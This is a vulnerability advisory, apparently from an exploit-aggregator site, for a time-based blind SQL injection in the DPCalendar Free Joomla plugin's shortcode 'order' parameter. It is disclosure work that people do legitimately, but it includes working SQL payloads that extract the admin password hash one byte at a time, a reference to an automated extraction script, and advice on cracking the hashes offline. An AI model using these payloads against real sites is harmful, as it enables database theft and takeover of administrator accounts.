## https://sploitus.com/exploit?id=F8CD6268-C79D-576B-9C8E-10DC7F1ABC58
# SQL Injection via ORDER BY Shortcode in plg_content_dpcalendar
**DPCalendar Free β€ 10.11.2 β Author-level User Extracts Full Database via Time-Based Blind Injection**






---
## SUMMARY
The `plg_content_dpcalendar` content plugin parses `{{#events order="..."}}{{/events}}` shortcodes embedded in Joomla article bodies. The `order` parameter value is passed directly to `EventsModel::setState('list.ordering', ...)`, completely bypassing the model's own `populateState()` whitelist. The value is then inserted into an SQL `ORDER BY` clause protected only by `DatabaseDriver::escape()` β insufficient against subquery injection.
An Author-level user who can create or edit articles can exploit this to exfiltrate data from the database via time-based blind SQL injection. The SQLi fires inside the attacker's own article save request β no victim interaction, no published article, and no admin involvement required.
---
## AFFECTED VERSIONS
| COMPONENT | VULNERABLE | TESTED ON | FIXED |
| --- | --- | --- | --- |
| DPCalendar Free | 1.0.0 β 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |
> **Note:** This vulnerability is distinct from CVE-2026-57831 (unauthenticated SQLi in `EventsModel.php` via `filter_created_by`, fixed in v10.11.2). The present finding affects the content plugin (`plg_content_dpcalendar`) β a different file, different parameter, and was unpatched in the latest release at time of discovery.
---
## VULNERABILITY DETAILS
**Type:** SQL Injection (CWE-89) β Time-Based Blind
**Authentication required:** Author role (can create/edit Joomla articles)
**Endpoint:** `POST /index.php/submit-article?view=form&layout=edit`
**File:** `plg_content_dpcalendar/src/Extension/DPCalendar.php`
### Root Cause
The plugin's shortcode parser iterates over all key-value parameters in an `{{#events}}` tag and sets model state directly, bypassing `populateState()` whitelist validation entirely:
**PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP β VULNERABLE PARAMETER HANDLING**
```php
foreach ($params as $paramKey => $paramValue) {
switch ($paramKey) {
case 'order':
// VULNERABLE: sets ordering state directly from user input
// bypasses populateState() whitelist entirely
$model->setState('list.ordering', $paramValue);
break;
case 'orderdir':
$model->setState('list.direction', $paramValue);
break;
// ...
}
}
```
The tainted value flows into `EventsModel::getListQuery()` with only quote-escaping applied β insufficient to block subquery injection in an `ORDER BY` context:
**COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 β ORDER BY CONSTRUCTION**
```php
$orderCol = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');
// $db->escape() escapes quotes only β does NOT prevent subquery injection
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
```
A subquery such as `(SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0))` passes through `$db->escape()` unmodified because it contains no quote characters. The resulting SQL becomes:
```sql
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))--
```
The `ORDER BY` expression is only evaluated when the result set is non-empty β requiring at least one published future DPCalendar event, the standard condition for any active DPCalendar installation.
**Key behavior:** The SQLi fires inside the save/edit POST request itself β the timing delay is observable directly in the HTTP response (303 redirect). The attacker measures their own POST response time; no article view, page reload, or publication step is required.
---
## PROOF OF CONCEPT
**Prerequisites:**
- Joomla 6.1.2 + DPCalendar Free 10.11.2 (MariaDB 10.6.27)
- Author-role account (can create/edit articles)
- `plg_content_dpcalendar` plugin enabled (default on DPCalendar install)
- At least 1 published DPCalendar event with a future `start_date`
- A frontend *Submit Article* menu item created by the administrator
**Scenario: Time-based Blind SQLi β Extract Admin Credentials**
#### 0. Pre-condition β at least one published DPCalendar event with a future start date must exist
The plugin sets `filter.state = 1` and `list.start-date = NOW()` before building the query. `ORDER BY` subqueries only execute when the result set contains rows; if 0 rows match, `SLEEP()` is never called.

#### 1. Log in as Author-role user
Authenticate to the Joomla frontend using an Author account. No admin access is required at any point in this attack.

#### 2. Submit article with TRUE condition payload β observe 5-second delay
Navigate to the frontend article submission form (`/submit-article`). Insert the following payload in the article body and click **Save**:
```
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
```
The POST response itself is delayed ~5 seconds. `onContentPrepare` fires during the Joomla save pipeline, invoking the vulnerable query before the 303 redirect is issued. No article view or publication is needed.

#### 3. FALSE condition confirms clean timing differentiation
Replace `1=1` with `1=2` (always false). `SLEEP` is not triggered and the response returns immediately (~100ms), confirming reliable timing separation.
```
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}
```

#### 4. Extract admin password hash β byte by byte
Use `ASCII(SUBSTRING(...))` comparisons to read each character. Single quotes must be avoided (the shortcode regex `[^"\']*` stops at any quote character); use decimal ASCII values instead:
```
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
```
Response time ~5s β TRUE β `char[1] = '$'` (ASCII 36 β first character of a bcrypt `$2y$10$...` hash).

#### 5. Automated extraction β full admin credentials dumped
Run `exploit/exploit.py` to automate the byte-by-byte extraction loop:
```bash
python3 exploit/exploit.py http://TARGET
```
The script logs in as Author, submits crafted payloads, and extracts username, email, and the full 60-character bcrypt password hash. Lab result confirmed: `admin` / `admin@example.com` / `$2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC`.

| Condition | Response Time |
|-----------|---------------|
| TRUE: `ASCII(SUBSTR(password,1,1))=36` | ~5,000 ms |
| FALSE: `ASCII(SUBSTR(password,1,1))=65` | ~100 ms |
---
## IMPACT
1. **Full database read access** β An Author-level user can extract any data from the Joomla database including admin password hashes (`jos_users.password`), session tokens, and user emails via time-based blind SQL injection.
2. **No admin interaction required** β The SQLi fires inside the attacker's own article save request. No victim needs to view or interact with any content.
3. **Minimal forensic trace** β The malicious article never needs to be published. A draft article (state=0) is sufficient, leaving almost no visible evidence of the attack.
4. **Offline credential cracking** β Extracted bcrypt hashes can be cracked offline with Hashcat (mode 3200) or John the Ripper, potentially leading to full administrator account takeover.
---
## REFERENCES
- **CVE:** https://vulners.com/cve/CVE-2026-78070
- **NVD:** https://nvd.nist.gov/vuln/detail/CVE-2026-78070
- **GitHub Advisory:** https://github.com/advisories/GHSA-v6xp-fwh7-w4rv
- **Vendor Repository:** https://github.com/Digital-Peak/DPCalendar-Free